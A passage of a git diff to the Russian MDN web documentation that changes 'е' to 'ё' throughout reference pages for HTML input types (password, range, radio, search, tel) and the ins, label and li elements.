безопасного ввода пароль. Элемент представлен как однострочный текстовый редактор, в котором текст затенен, чтобы его нельзя было прочитать, как правило, путем замены каждого символа другим символом, таким как звездочка ("*") или точка ("•"). Этот символ будет меняться в зависимости от {{Glossary("user agent")}} и {{Glossary("OS")}}.</span></p> +<p><span class="seoSummary">{{HTMLElement("input")}} элементы типа <strong><code>"password"</code></strong> предоставляют пользователю возможность безопасного ввода пароль. Элемент представлен как однострочный текстовый редактор, в котором текст затенён, чтобы его нельзя было прочитать, как правило, путём замены каждого символа другим символом, таким как звёздочка ("*") или точка ("•"). Этот символ будет меняться в зависимости от {{Glossary("user agent")}} и {{Glossary("OS")}}.</span></p> -<p>Особенности работы процесса ввода могут отличаться от браузера к браузеру; мобильные устройства, например, часто отображают вводимый символ на мгновение, прежде чем закрывать его, чтобы позволить пользователю быть уверенным, что они нажали клавишу, которую они хотели нажать; это полезно, учитывая небольшой размер клавиш и легкость, с которой может быть нажата неправильная, особенно на виртуальных клавиатурах.</p> +<p>Особенности работы процесса ввода могут отличаться от браузера к браузеру; мобильные устройства, например, часто отображают вводимый символ на мгновение, прежде чем закрывать его, чтобы позволить пользователю быть уверенным, что они нажали клавишу, которую они хотели нажать; это полезно, учитывая небольшой размер клавиш и лёгкость, с которой может быть нажата неправильная, особенно на виртуальных клавиатурах.</p> <div class="note"> <p>Любые формы, содержащие конфиденциальную информацию, такую как пароли (например, формы входа), должны обслуживаться через HTTPS; В Firefox теперь реализованы несколько механизмов для предупреждения от небезопасных форм входа в систему - см. <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Insecure_passwords">Небезопасные пароли</a>. Другие браузеры также реализуют аналогичные механизмы.</p> @@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/input/password <h2 id="Значения">Значения</h2> -<p>Атрибут {{htmlattrxref("value", "input")}} содержит {{domxref("DOMString")}} , значение которого является текущим содержимым элемента редактирования текста, используемого для ввода пароля. Если пользователь еще ничего не указал, это значение представляет собой пустую строку (<code>""</code>). Если указано свойство {{htmlattrxref("required")}}, то поле ввода пароля должно содержать значение, отличное от пустой строки, которое должно быть действительным.</p> +<p>Атрибут {{htmlattrxref("value", "input")}} содержит {{domxref("DOMString")}} , значение которого является текущим содержимым элемента редактирования текста, используемого для ввода пароля. Если пользователь ещё ничего не указал, это значение представляет собой пустую строку (<code>""</code>). Если указано свойство {{htmlattrxref("required")}}, то поле ввода пароля должно содержать значение, отличное от пустой строки, которое должно быть действительным.</p> <p>Если указан атрибут {{htmlattrxref("pattern", "input")}}, содержимое элемента управления <code>"password"</code> считается действительным только в том случае, если значение проходит проверку; см. {{anch("Validation")}} для получения дополнительной информации.</p> @@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/input/password <h2 id="Использование_полей_ввода_пароля">Использование полей ввода пароля</h2> -<p>Поля ввода пароля обычно работают так же, как и другие текстовые поля ввода; основное отличие состоит в том, чтобы скрывать введенный контент, чтобы люди, не знакомые с пользователем, не могли прочитать его пароль.</p> +<p>Поля ввода пароля обычно работают так же, как и другие текстовые поля ввода; основное отличие состоит в том, чтобы скрывать введённый контент, чтобы люди, не знакомые с пользователем, не могли прочитать его пароль.</p> <h3 id="Простое_поле_ввода_пароля">Простое поле ввода пароля</h3> @@ -83,7 +83,7 @@ translation_of: Web/HTML/Element/input/password <dt><code>"off"</code></dt> <dd>Запрещает браузеру или менеджеру паролей автоматически заполнять поле пароля.</dd> <dt><code>"current-password"</code></dt> - <dd>Разрешить браузеру или менеджеру паролей вводить текущий пароль для сайта. Это дает больше информации, чем <code>"on"</code>, так как позволяет браузеру или менеджеру паролей знать, что в настоящее время известен пароль для сайта в поле, а не используется новый.</dd> + <dd>Разрешить браузеру или менеджеру паролей вводить текущий пароль для сайта. Это даёт больше информации, чем <code>"on"</code>, так как позволяет браузеру или менеджеру паролей знать, что в настоящее время известен пароль для сайта в поле, а не используется новый.</dd> <dt><code>"new-password"</code></dt> <dd>Разрешить браузеру или менеджеру паролей автоматически вводить новый пароль для сайта. Он может быть автоматически сгенерирован на основе других атрибутов элемента управления или может просто указать браузеру представить виджет «предлагаемого нового пароля».</dd> </dl> @@ -106,7 +106,7 @@ translation_of: Web/HTML/Element/input/password <h3 id="Указание_режима_ввода">Указание режима ввода</h3> -<p>Если ваше приложение лучше обслуживается с использованием другого режима ввода, чем по умолчанию, вы можете использовать атрибут {{htmlattrxref("inputmode", "input")}} для определенного запроса. Наиболее очевидным вариантом использования является то, что ваше приложение использует в качестве пароля числовое значение (например, ПИН). Например, мобильные устройства с виртуальными клавиатурами могут переключаться на макет цифровой клавиатуры вместо полной клавиатуры, чтобы облегчить ввод пароля.</p> +<p>Если ваше приложение лучше обслуживается с использованием другого режима ввода, чем по умолчанию, вы можете использовать атрибут {{htmlattrxref("inputmode", "input")}} для определённого запроса. Наиболее очевидным вариантом использования является то, что ваше приложение использует в качестве пароля числовое значение (например, ПИН). Например, мобильные устройства с виртуальными клавиатурами могут переключаться на макет цифровой клавиатуры вместо полной клавиатуры, чтобы облегчить ввод пароля.</p> <pre class="brush: html"><label for="pin">ПИН:</label> <input id="pin" type="password" inputmode="numeric"></pre> @@ -115,7 +115,7 @@ translation_of: Web/HTML/Element/input/password <h3 id="Настройка_длины_пароля">Настройка длины пароля</h3> -<p>Как обычно, вы можете использовать атрибуты {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}}, чтобы установить минимальную и максимальную допустимую длину пароля , Этот пример дополняет предыдущий, указав, что PIN-код пользователя должен быть не менее четырех и не более восьми цифр. Атрибут {{htmlattrxref("size", "input")}} используется для обеспечения того, чтобы элемент управления ввода пароля имел ширину в восемь символов.</p> +<p>Как обычно, вы можете использовать атрибуты {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}}, чтобы установить минимальную и максимальную допустимую длину пароля , Этот пример дополняет предыдущий, указав, что PIN-код пользователя должен быть не менее четырёх и не более восьми цифр. Атрибут {{htmlattrxref("size", "input")}} используется для обеспечения того, чтобы элемент управления ввода пароля имел ширину в восемь символов.</p> <pre class="brush: html"><label for="pin">ПИН:</label> <input id="pin" type="password" inputmode="numeric" minlength="4" @@ -144,13 +144,13 @@ translation_of: Web/HTML/Element/input/password <p>{{EmbedLiveSample("Selecting_text", 600, 40)}}</p> -<p>Вы также можете использовать {{domxref("HTMLInputElement.selectionStart", "selectionStart")}} и {{domxref("HTMLInputElement.selectionEnd", "selectionEnd")}}, чтобы получить (или установить), какой диапазон символов в элементе управления, и {{domxref("HTMLInputElement.selectionDirection", "selectionDirection")}}, чтобы узнать, какой выбор направления произошел (или будет расширен в зависимости от вашей платформы, см. его документацию для объяснения) , Однако, учитывая, что текст затенен, их полезность несколько ограничена.</p> +<p>Вы также можете использовать {{domxref("HTMLInputElement.selectionStart", "selectionStart")}} и {{domxref("HTMLInputElement.selectionEnd", "selectionEnd")}}, чтобы получить (или установить), какой диапазон символов в элементе управления, и {{domxref("HTMLInputElement.selectionDirection", "selectionDirection")}}, чтобы узнать, какой выбор направления произошёл (или будет расширен в зависимости от вашей платформы, см. его документацию для объяснения) , Однако, учитывая, что текст затенён, их полезность несколько ограничена.</p> <h2 id="Валидация">Валидация</h2> -<p>Если ваше приложение имеет ограничения по набору символов или любые другие требования для фактического содержимого введенного пароля, вы можете использовать атрибут {{htmlattrxref("pattern", "input")}}, чтобы установить регулярное выражение, чтобы автоматически гарантировать, что ваши пароли соответствуют этим требованиям.</p> +<p>Если ваше приложение имеет ограничения по набору символов или любые другие требования для фактического содержимого введённого пароля, вы можете использовать атрибут {{htmlattrxref("pattern", "input")}}, чтобы установить регулярное выражение, чтобы автоматически гарантировать, что ваши пароли соответствуют этим требованиям.</p> -<p>В этом примере допустимы только значения, состоящие как минимум из четырех и не более восьми шестнадцатеричных цифр.</p> +<p>В этом примере допустимы только значения, состоящие как минимум из четырёх и не более восьми шестнадцатеричных цифр.</p> <div id="Validation_sample1"> <pre class="brush: html"><label for="hexId">Hex ID:</label> @@ -163,7 +163,7 @@ translation_of: Web/HTML/Element/input/password <dl> <dt>{{htmlattrdef("disabled")}}</dt> <dd> - <p>Этот Boolean атрибут указывает, что поле пароля недоступно для взаимодействия. Кроме того, отключенные значения полей не отправляются с формой.</p> + <p>Этот Boolean атрибут указывает, что поле пароля недоступно для взаимодействия. Кроме того, отключённые значения полей не отправляются с формой.</p> </dd> </dl> @@ -171,7 +171,7 @@ translation_of: Web/HTML/Element/input/password <h3 id="Запрос_номера_социального_страхования">Запрос номера социального страхования</h3> -<p>В этом примере принимается только ввод, который соответствует формату <a href="https://en.wikipedia.org/wiki/Social_Security_number#Structure">действительного номера социального страхования Соединенных Штатов</a>. Эти цифры, используемые для целей налогообложения и идентификации в США, представлены в форме «123-45-6789». Также существуют различные правила, для которых допустимы значения в каждой группе.</p> +<p>В этом примере принимается только ввод, который соответствует формату <a href="https://en.wikipedia.org/wiki/Social_Security_number#Structure">действительного номера социального страхования Соединённых Штатов</a>. Эти цифры, используемые для целей налогообложения и идентификации в США, представлены в форме «123-45-6789». Также существуют различные правила, для которых допустимы значения в каждой группе.</p> <h4 id="HTML_2">HTML</h4> @@ -183,7 +183,7 @@ translation_of: Web/HTML/Element/input/password <label for="ssn">Value:</label> <span id="current"></span></pre> -<p>Здесь используется {{htmlattrxref("pattern", "input")}} , который ограничивает введенное значение строками, представляющими номера юридической информации Социальной защиты. Очевидно, что это регулярное выражение не гарантирует действительный SSN, но гарантирует, что число может быть единым; он обычно избегает недопустимых значений. Кроме того, он позволяет разделять три группы цифр пробелом, тире ("-") или ничем.</p> +<p>Здесь используется {{htmlattrxref("pattern", "input")}} , который ограничивает введённое значение строками, представляющими номера юридической информации Социальной защиты. Очевидно, что это регулярное выражение не гарантирует действительный SSN, но гарантирует, что число может быть единым; он обычно избегает недопустимых значений. Кроме того, он позволяет разделять три группы цифр пробелом, тире ("-") или ничем.</p> <p>В {{htmlattrxref("inputmode", "input")}} установлено значение <code>"number"</code>, чтобы побудить устройства с виртуальными клавиатурами переключаться на макет цифровой клавиатуры для облегчения ввода. Для атрибутов {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}} установлено значение 9 и 12 соответственно, чтобы требовалось, чтобы значение было не менее девяти и не более 12 символов (первый не разделяет символы между группами цифр и последними с ними). Атрибут {{htmlattrxref("required", "input")}} используется для указания того, что этот элемент управления должен иметь значение. Наконец, {{htmlattrxref("autocomplete", "input")}} установлен <code>"off"</code>, чтобы избежать попыток установить пароли менеджеров паролей.</p> diff --git a/files/ru/web/html/element/input/radio/index.html b/files/ru/web/html/element/input/radio/index.html index 76bd790484..00cf8262fe 100644 --- a/files/ru/web/html/element/input/radio/index.html +++ b/files/ru/web/html/element/input/radio/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/input/radio <p>{{ EmbedLiveSample('Basic_example', 600, 30) }}</p> -<p>Исходный код к данному интерактивному примеру находиться на GitHub репозитории. Если вы желаете внести свой вклад в проект интерактивных примеров, то склонируйте удаленный репозиторий <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>и отправьте нам запрос на включение сделанных вами изменений «pull request».</p> +<p>Исходный код к данному интерактивному примеру находиться на GitHub репозитории. Если вы желаете внести свой вклад в проект интерактивных примеров, то склонируйте удалённый репозиторий <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>и отправьте нам запрос на включение сделанных вами изменений «pull request».</p> <p>Радиокнопки называются так потому, что выглядят и функционируют в схожей манере с кнопками старомодных радиоприёмников, подобных представленному ниже. </p> @@ -155,7 +155,7 @@ form.addEventListener("submit", function(event) { <h2 id="Использование_радиокнопок">Использование радиокнопок</h2> -<p>Мы уже осветили основные моменты работы с радиокнопками выше. Давайте рассмотрим другие распространенные функции и методы, связанные с использованием радиокнопок, о которых Вам нужно знать.</p> +<p>Мы уже осветили основные моменты работы с радиокнопками выше. Давайте рассмотрим другие распространённые функции и методы, связанные с использованием радиокнопок, о которых Вам нужно знать.</p> <h3 id="Выбор_радиокнопки_по_умолчанию">Выбор радиокнопки по умолчанию</h3> diff --git a/files/ru/web/html/element/input/range/index.html b/files/ru/web/html/element/input/range/index.html index fc14501602..e4f349c376 100644 --- a/files/ru/web/html/element/input/range/index.html +++ b/files/ru/web/html/element/input/range/index.html @@ -46,7 +46,7 @@ translation_of: Web/HTML/Element/input/range <p>Для этого поля нет доступного паттерна валидации, но следующая валидация реализованы следующие проверки</p> <ul> - <li>Если значение {{htmlattrxref("value", "input")}} содержит что-то что не может быть конвертированно в число с плавающей точкой, произойдет ошибка некорректного ввода.</li> + <li>Если значение {{htmlattrxref("value", "input")}} содержит что-то что не может быть конвертированно в число с плавающей точкой, произойдёт ошибка некорректного ввода.</li> <li>Значение не может быть меньше чем {{htmlattrxref("min", "input")}}. По умолчанию: 0.</li> <li> Значение не может быть больше чем {{htmlattrxref("max", "input")}}. По умолчанию: 100.</li> <li>Значение должно кратно {{htmlattrxref("step", "input")}}. По умолчанию: 1.</li> @@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/input/range <pre class="brush: js notranslate">defaultValue = (rangeElem.max < rangeElem.min) ? rangeElem.min : rangeElem.min + (rangeElem.max - rangeElem.min)/2;</pre> -<p>Если предпринята попытка установить значение меньше минимального, то оно примет значение атрибута min. Аналогично, попытка установить значение больше максимального, приведет к установлению значения равного атрибуту max.</p> +<p>Если предпринята попытка установить значение меньше минимального, то оно примет значение атрибута min. Аналогично, попытка установить значение больше максимального, приведёт к установлению значения равного атрибуту max.</p> <h2 id="Дополнительные_атрибуты">Дополнительные атрибуты</h2> @@ -75,7 +75,7 @@ translation_of: Web/HTML/Element/input/range <tbody> <tr> <td><code>{{anch("list")}}</code></td> - <td>id элемента <datalist>, который содержит предопределенные значение (не обязательно)</td> + <td>id элемента <datalist>, который содержит предопределённые значение (не обязательно)</td> </tr> <tr> <td><code>{{anch("max")}}</code></td> @@ -94,7 +94,7 @@ translation_of: Web/HTML/Element/input/range <p id="htmlattrdeflist">{{page("/en-US/docs/Web/HTML/Element/input/text", "list", 0, 1, 2)}}</p> -<p>Смотрите <a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Element/Input/range$edit#A_range_control_with_hash_marks">управление диапазоном с помощью решетки</a> ниже, для примера того, как параметры диапазона обозначаются в поддерживаемых браузерах.</p> +<p>Смотрите <a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Element/Input/range$edit#A_range_control_with_hash_marks">управление диапазоном с помощью решётки</a> ниже, для примера того, как параметры диапазона обозначаются в поддерживаемых браузерах.</p> <h3 id="htmlattrdefmax">{{htmlattrdef("max")}}</h3> @@ -102,7 +102,7 @@ translation_of: Web/HTML/Element/input/range <h3 id="htmlattrdefmin">{{htmlattrdef("min")}}</h3> -<p>Наименьшее значение в диапазоне допустимых значений. Если {{htmlattrxref("value", "input")}}, введенный в элемент, меньше этого значения, то элемент не проходит <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">проверку ограничения</a>. Если значение атрибута <code>min</code> не является числом, то элемент не имеет максимального значения.</p> +<p>Наименьшее значение в диапазоне допустимых значений. Если {{htmlattrxref("value", "input")}}, введённый в элемент, меньше этого значения, то элемент не проходит <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">проверку ограничения</a>. Если значение атрибута <code>min</code> не является числом, то элемент не имеет максимального значения.</p> <p>Это значение должно быть меньше или равно значению атрибута <code>max</code>.</p> @@ -131,7 +131,7 @@ translation_of: Web/HTML/Element/input/range <dl> <dt>{{htmlattrdef("orient")}} {{non-standard_inline}}</dt> - <dd id="orient-include">Похоже на -moz-orient не стандартное CSS свойство влияющее на {{htmlelement('progress')}} и{{htmlelement('meter')}} элементы, <code>orient</code> атрибут определяем ориентацию слайдера. Значение <code>horizontal</code>, значит что слайдер будет отображен горизонтально, а <code>vertical</code>- что вертикально .</dd> + <dd id="orient-include">Похоже на -moz-orient не стандартное CSS свойство влияющее на {{htmlelement('progress')}} и{{htmlelement('meter')}} элементы, <code>orient</code> атрибут определяем ориентацию слайдера. Значение <code>horizontal</code>, значит что слайдер будет отображён горизонтально, а <code>vertical</code>- что вертикально .</dd> </dl> <div class="blockIndicator note"> @@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/input/range <h2 id="Examples">Examples</h2> -<p>Пока тип <code>number</code> позволяет пользователям вводить число с дополнительными ограничениями, заставляя их значения находиться между максимальным и минимальным, он требует, чтобы они вводили определенное значение. Инпут с типом <code>range</code> позволяет вам запрашивать у пользователя значение в тех случаях, когда пользователь не может даже знать - каково выбранное конкретное числовое значение.</p> +<p>Пока тип <code>number</code> позволяет пользователям вводить число с дополнительными ограничениями, заставляя их значения находиться между максимальным и минимальным, он требует, чтобы они вводили определённое значение. Инпут с типом <code>range</code> позволяет вам запрашивать у пользователя значение в тех случаях, когда пользователь не может даже знать - каково выбранное конкретное числовое значение.</p> <p>Несколько примеров основный ситуаций, в которых инпуты с range используются:</p> @@ -155,7 +155,7 @@ translation_of: Web/HTML/Element/input/range <h3 id="Указание_минимума_и_максимума">Указание минимума и максимума</h3> -<p>По умолчанию, минимум равен 0, а максимум равен 100. Если вас это не устраивает, вы можете с легкостью указать другие границы, изменив значения атрибутов {{htmlattrxref("min", "input")}} и/или {{htmlattrxref("max", "input")}}. Они могут быть принимать любые значения с плавающей точкой.</p> +<p>По умолчанию, минимум равен 0, а максимум равен 100. Если вас это не устраивает, вы можете с лёгкостью указать другие границы, изменив значения атрибутов {{htmlattrxref("min", "input")}} и/или {{htmlattrxref("max", "input")}}. Они могут быть принимать любые значения с плавающей точкой.</p> <p>Например, указать диапазон значений между -10 и 10, вы можете, используя:</p> @@ -185,11 +185,11 @@ translation_of: Web/HTML/Element/input/range <h3 id="Добавление_хэш-меток_и_лейблов">Добавление хэш-меток и лейблов</h3> -<p>Спецификация HTML дает браузерам некоторую гибкость при представлении диапазонных контроллеров. Нигде эта гибкость не проявляется больше, чем в области хэш-меток и, в меньшей степени, лейблов. Спецификация описывает как добавлять кастомные точки контроллера диапазона, используя атрибут {{htmlattrxref("list", "input")}} и элемент {{HTMLElement("datalist")}}, но не имеет требований или рекомендаций по стандартизации хэш-меток и лейблов по длине контроллера.</p> +<p>Спецификация HTML даёт браузерам некоторую гибкость при представлении диапазонных контроллеров. Нигде эта гибкость не проявляется больше, чем в области хэш-меток и, в меньшей степени, лейблов. Спецификация описывает как добавлять кастомные точки контроллера диапазона, используя атрибут {{htmlattrxref("list", "input")}} и элемент {{HTMLElement("datalist")}}, но не имеет требований или рекомендаций по стандартизации хэш-меток и лейблов по длине контроллера.</p> <h4 id="Макеты_контроллера_диапазона">Макеты контроллера диапазона</h4> -<p>Так как браузеры имеют эту гибкость, и на сегодняшний день ни один из них не поддерживает все возможности, определенные HTML, представляем несколько макетов, показывающих как вы можете получить на macOS в браузере, который их поддерживает.</p> +<p>Так как браузеры имеют эту гибкость, и на сегодняшний день ни один из них не поддерживает все возможности, определённые HTML, представляем несколько макетов, показывающих как вы можете получить на macOS в браузере, который их поддерживает.</p> <h5 id="Недекорированный_контроллер_диапазона">Недекорированный контроллер диапазона</h5> @@ -327,7 +327,7 @@ translation_of: Web/HTML/Element/input/range <div id="Orientation_sample3"> <h4 id="HTML_2">HTML</h4> -<p>В HTML нужно добавить обертку вокруг {{HTMLElement("input")}} - {{HTMLElement("div")}}, что позволит нам исправить макет после выполнения трансформации (т.к. трансформация автоматически не влияет на макет страницы):</p> +<p>В HTML нужно добавить обёртку вокруг {{HTMLElement("input")}} - {{HTMLElement("div")}}, что позволит нам исправить макет после выполнения трансформации (т.к. трансформация автоматически не влияет на макет страницы):</p> <pre class="brush: html notranslate"><div class="slider-wrapper"> <input type="range" min="0" max="11" value="7" step="1"> @@ -335,7 +335,7 @@ translation_of: Web/HTML/Element/input/range <h4 id="CSS_2">CSS</h4> -<p>Теперь нам нужно немного CSS. Во-первых, это CSS для самой обертки; это указание дисплея и размеров для правильного расположения на странице; по сути, он резервирует область страницы для слайдера, так, чтобы можно было поместить повернутый слайдер в зарезервированном пространстве, не создавая беспорядка.</p> +<p>Теперь нам нужно немного CSS. Во-первых, это CSS для самой обёртки; это указание дисплея и размеров для правильного расположения на странице; по сути, он резервирует область страницы для слайдера, так, чтобы можно было поместить повёрнутый слайдер в зарезервированном пространстве, не создавая беспорядка.</p> <pre class="brush: css notranslate">.slider-wrapper { display: inline-block; @@ -372,7 +372,7 @@ translation_of: Web/HTML/Element/input/range <h4 id="CSS_3">CSS</h4> -<p>Берем только те инпуты что имеют тип range:</p> +<p>Берём только те инпуты что имеют тип range:</p> <pre class="notranslate">input[type="range"] { -webkit-appearance: slider-vertical; @@ -406,7 +406,7 @@ translation_of: Web/HTML/Element/input/range <h4 id="CSS_4">CSS</h4> -<p>Берем только те инпуты что имеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right:</p> +<p>Берём только те инпуты что имеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right:</p> <pre class="notranslate">input[type="range"] { writing-mode: bt-lr; @@ -416,7 +416,7 @@ translation_of: Web/HTML/Element/input/range <h3 id="Все_вместе">Все вместе</h3> -<p>Каждый из вышеперечисленных примеров работает в своем браузере, мы попробуем объединить все вместе чтоб добиться кроссбраузерности решения:</p> +<p>Каждый из вышеперечисленных примеров работает в своём браузере, мы попробуем объединить все вместе чтоб добиться кроссбраузерности решения:</p> <h4 id="HTML_6">HTML</h4> @@ -427,7 +427,7 @@ translation_of: Web/HTML/Element/input/range <h4 id="CSS_5">CSS</h4> -<p>Берем только те инпуты что имеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right, для Edge и Internet Explorer, и добавляем <code>-webkit-appearance: slider-vertical</code> для всех -webkit-based браузеров:</p> +<p>Берём только те инпуты что имеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right, для Edge и Internet Explorer, и добавляем <code>-webkit-appearance: slider-vertical</code> для всех -webkit-based браузеров:</p> <pre class="notranslate">input[type="range"] { writing-mode: bt-lr; diff --git a/files/ru/web/html/element/input/search/index.html b/files/ru/web/html/element/input/search/index.html index a4307a573b..e870f86c85 100644 --- a/files/ru/web/html/element/input/search/index.html +++ b/files/ru/web/html/element/input/search/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/search --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary">{{HTMLElement("input")}} элементы с типом <code><strong>search</strong></code> это текстовые поля разработанные для ввода пользователем поисковых запросов. Функциональность идентична элементам с типом <code><a href="/en-US/docs/Web/HTML/Element/input/text">text</a></code>, но может отличаться стилизация за счет {{Glossary("user agent")}}, а также наличием специального <strong>не стандартизированного</strong> события </span>{{domxref("HTMLElement/search_event", "onsearch")}}.</p> +<p><span class="seoSummary">{{HTMLElement("input")}} элементы с типом <code><strong>search</strong></code> это текстовые поля разработанные для ввода пользователем поисковых запросов. Функциональность идентична элементам с типом <code><a href="/en-US/docs/Web/HTML/Element/input/text">text</a></code>, но может отличаться стилизация за счёт {{Glossary("user agent")}}, а также наличием специального <strong>не стандартизированного</strong> события </span>{{domxref("HTMLElement/search_event", "onsearch")}}.</p> <div>{{EmbedInteractiveExample("pages/tabbed/input-search.html", "tabbed-standard")}}</div> diff --git a/files/ru/web/html/element/input/tel/index.html b/files/ru/web/html/element/input/tel/index.html index fca5203560..35f2014606 100644 --- a/files/ru/web/html/element/input/tel/index.html +++ b/files/ru/web/html/element/input/tel/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/tel --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary">{{HTMLElement("input")}} элемент типа <code><strong>tel</strong></code> используется чтобы разрешить пользователю вводить и редактировать номер телефона. В отличии от<code><a href="/en-US/docs/Web/HTML/Element/input/email"><input type="email"></a></code> и <code><a href="/en-US/docs/Web/HTML/Element/input/url"><input type="url"></a></code> , введенное значение не проверяется автоматически по определенном формату, перед тем как форма может быть отправлена , потому что форматы телефонных номеров сильно различаются по всему миру</span></p> +<p><span class="seoSummary">{{HTMLElement("input")}} элемент типа <code><strong>tel</strong></code> используется чтобы разрешить пользователю вводить и редактировать номер телефона. В отличии от<code><a href="/en-US/docs/Web/HTML/Element/input/email"><input type="email"></a></code> и <code><a href="/en-US/docs/Web/HTML/Element/input/url"><input type="url"></a></code> , введённое значение не проверяется автоматически по определённом формату, перед тем как форма может быть отправлена , потому что форматы телефонных номеров сильно различаются по всему миру</span></p> <div>{{EmbedInteractiveExample("pages/tabbed/input-tel.html", "tabbed-standard")}}</div> diff --git a/files/ru/web/html/element/ins/index.html b/files/ru/web/html/element/ins/index.html index 5378c50a55..7115a36be4 100644 --- a/files/ru/web/html/element/ins/index.html +++ b/files/ru/web/html/element/ins/index.html @@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/ins <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные</span> <span>родители</span></span></th> + <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешённые</span> <span>родители</span></span></th> <td><span id="result_box" lang="ru"><span>Любой элемент</span><span>, который принимает</span></span> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">содержимое фраз</a>.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Любые</td> </tr> <tr> diff --git a/files/ru/web/html/element/label/index.html b/files/ru/web/html/element/label/index.html index b8faa5aa7e..2984769302 100644 --- a/files/ru/web/html/element/label/index.html +++ b/files/ru/web/html/element/label/index.html @@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/label <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Общий поток</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">текстовый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Interactive_content">интерактивный контент, элемент формы</a>, ощутимый контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Текстовый контент</a>, но без вложенных элементов <code>label</code>. Недопустимы другие оборачиваемые в <code>label </code>элементы помимо целевого.</td> </tr> <tr> @@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/label <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные предки</th> + <th scope="row">Разрешённые предки</th> <td>Любой элемент, разрешающий <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">текстовый контент.</a></td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Отсутствуют</td> </tr> <tr> @@ -53,7 +53,7 @@ translation_of: Web/HTML/Element/label </dd> <dt>{{htmlattrdef("form")}} {{HTMLVersionInline("5")}} {{obsolete_inline}}</dt> <dd>Элемент формы, с которым связан label (его владелец формы). Если указано, значением атрибута является идентификатор элемента {{HTMLElement ("form")}} в том же документе. Это позволяет размещать элементы label в любом месте документа, а не только как потомки их элементов формы.. - <div class="note">Этот атрибут содержимого был удален из спецификации HTML 28 апреля 2016 г. Однако сценарии по-прежнему имеют доступ только для чтения {{domxref ("HTMLLabelElement.form")}}; он возвращает форму, членом которой является связанный элемент управления label, или значение NULL, если label не связана с элементом управления или элемент управления не является частью формы.</div> + <div class="note">Этот атрибут содержимого был удалён из спецификации HTML 28 апреля 2016 г. Однако сценарии по-прежнему имеют доступ только для чтения {{domxref ("HTMLLabelElement.form")}}; он возвращает форму, членом которой является связанный элемент управления label, или значение NULL, если label не связана с элементом управления или элемент управления не является частью формы.</div> </dd> </dl> diff --git a/files/ru/web/html/element/li/index.html b/files/ru/web/html/element/li/index.html index a87ea6a2b0..115c0c9a4e 100644 --- a/files/ru/web/html/element/li/index.html +++ b/files/ru/web/html/element/li/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTML/Element/li --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary"><strong>HTML-элемент <code><li></code></strong> используется для создания элементов списка.</span> Он также должен находиться в родительском элементе: упорядоченном списке ({{HTMLElement("ol")}}), неупорядоченном списке ({{HTMLElement("ul")}}), или меню ({{HTMLElement("menu")}}). В меню и неупорядоченных списках, элементы списка обычно отображаются с маркерами в виде круга. В упорядоченных списках, они обычно отображаются с маркерами в виде возрастающего счетчика слева, например числа или буквы.</p> +<p><span class="seoSummary"><strong>HTML-элемент <code><li></code></strong> используется для создания элементов списка.</span> Он также должен находиться в родительском элементе: упорядоченном списке ({{HTMLElement("ol")}}), неупорядоченном списке ({{HTMLElement("ul")}}), или меню ({{HTMLElement("menu")}}). В меню и неупорядоченных списках, элементы списка обычно отображаются с маркерами в виде круга. В упорядоченных списках, они обычно отображаются с маркерами в виде возрастающего счётчика слева, например числа или буквы.</p> <div>{{EmbedInteractiveExample("pages/tabbed/li.html", "tabbed-shorter")}}</div> @@ -51,7 +51,7 @@ translation_of: Web/HTML/Element/li <dl> <dt>{{htmlattrdef("value")}}</dt> - <dd>Этот числовой атрибут указывает на текущий порядковый номер элемента в списке, заданного с помощью элемента {{HTMLElement("ol")}}. Единственное разрешенное значение этого атрибута — число, даже если список отображается с римскими цифрами или буквами. Элементы списка, которые идут после элемента с таким атрибутом, нумеруются с заданного значения. Атрибут <strong>value</strong> не имеет значения для неупорядоченных списков ({{HTMLElement("ul")}}) или для меню ({{HTMLElement("menu")}}). + <dd>Этот числовой атрибут указывает на текущий порядковый номер элемента в списке, заданного с помощью элемента {{HTMLElement("ol")}}. Единственное разрешённое значение этого атрибута — число, даже если список отображается с римскими цифрами или буквами. Элементы списка, которые 